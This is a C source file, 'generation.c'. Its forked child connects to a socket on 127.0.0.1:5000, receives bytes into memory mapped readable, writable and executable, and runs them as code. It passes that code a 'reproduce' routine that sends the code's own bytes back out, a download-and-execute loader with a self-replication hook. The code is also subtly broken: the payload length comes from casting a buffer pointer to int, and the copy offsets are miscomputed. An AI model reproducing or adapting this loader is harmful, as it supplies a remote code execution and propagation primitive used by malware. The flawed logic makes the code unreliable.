/*
@file generation.c
*/
#include <arpa/inet.h>
#include <errno.h>
#include <malloc.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <unistd.h>

#define MAX_LEN 1024
#define PORT 5000

int reproduce(void *pic_address, int pic_size)
{
    int status = 0;

    printf("{\"address\":\"%p\",\"size\":\"%d\"}\n", pic_address, pic_size);

    struct sockaddr_in server;
    server.sin_addr.s_addr = inet_addr("127.0.0.1");
    server.sin_family = AF_INET;
    server.sin_port = htons(PORT);
    int sock = socket(AF_INET, SOCK_STREAM, 0);

    status = connect(sock, (struct sockaddr *)&server, sizeof(server));

    status = send(sock, pic_address, pic_size, 0);

    status = 1;
CLONE_CLEANUP:

    if (sock)
    {
        close(sock);
    }

    return status;
}

int generation(void)
{
    int status = 0;
    char reply[MAX_LEN];
    struct sockaddr_in server;
    server.sin_addr.s_addr = inet_addr("127.0.0.1");
    server.sin_family = AF_INET;
    server.sin_port = htons(PORT);
    int sock = socket(AF_INET, SOCK_STREAM, 0);

    printf("connecting\n");

    status = connect(sock, (struct sockaddr *)&server, sizeof(server));

    status = recv(sock, reply, MAX_LEN, 0);

    int child_len = (int)reply;

    int prot = (PROT_READ | PROT_WRITE | PROT_EXEC);
    int flags = (MAP_ANON | MAP_PRIVATE);
    void *pic_buffer = mmap(NULL, child_len, prot, flags, -1, 0);

    if (MAP_FAILED == pic_buffer)
    {
        status = errno;
        goto GEN_CLEANUP;
    }

    int iter = child_len;
    while (1)
    {
        status = recv(sock, reply, MAX_LEN, 0);

        if (!status)
        {
            break;
        }

        if ((status + iter) > child_len)
        {
            break;
        }

        memcpy(&pic_buffer[iter - child_len], reply, status);

        iter -= status;
    }

    int (*reproduce_function)(void *, int) = reproduce;
    void (*pic_function)(void *, int, void *) = pic_buffer;

    pic_function(pic_buffer, child_len, reproduce_function);

    status = 1;
GEN_CLEANUP:

    if (sock)
    {
        close(sock);
    }

    return status;
}

int main(int argc, const char **argv)
{
    pid_t process_id;
    int status = 0;

    process_id = fork();

    if (0 == process_id)
    {
        status = generation();
        if (status)
        {
            return 1;
        }
    }

    return 0;
}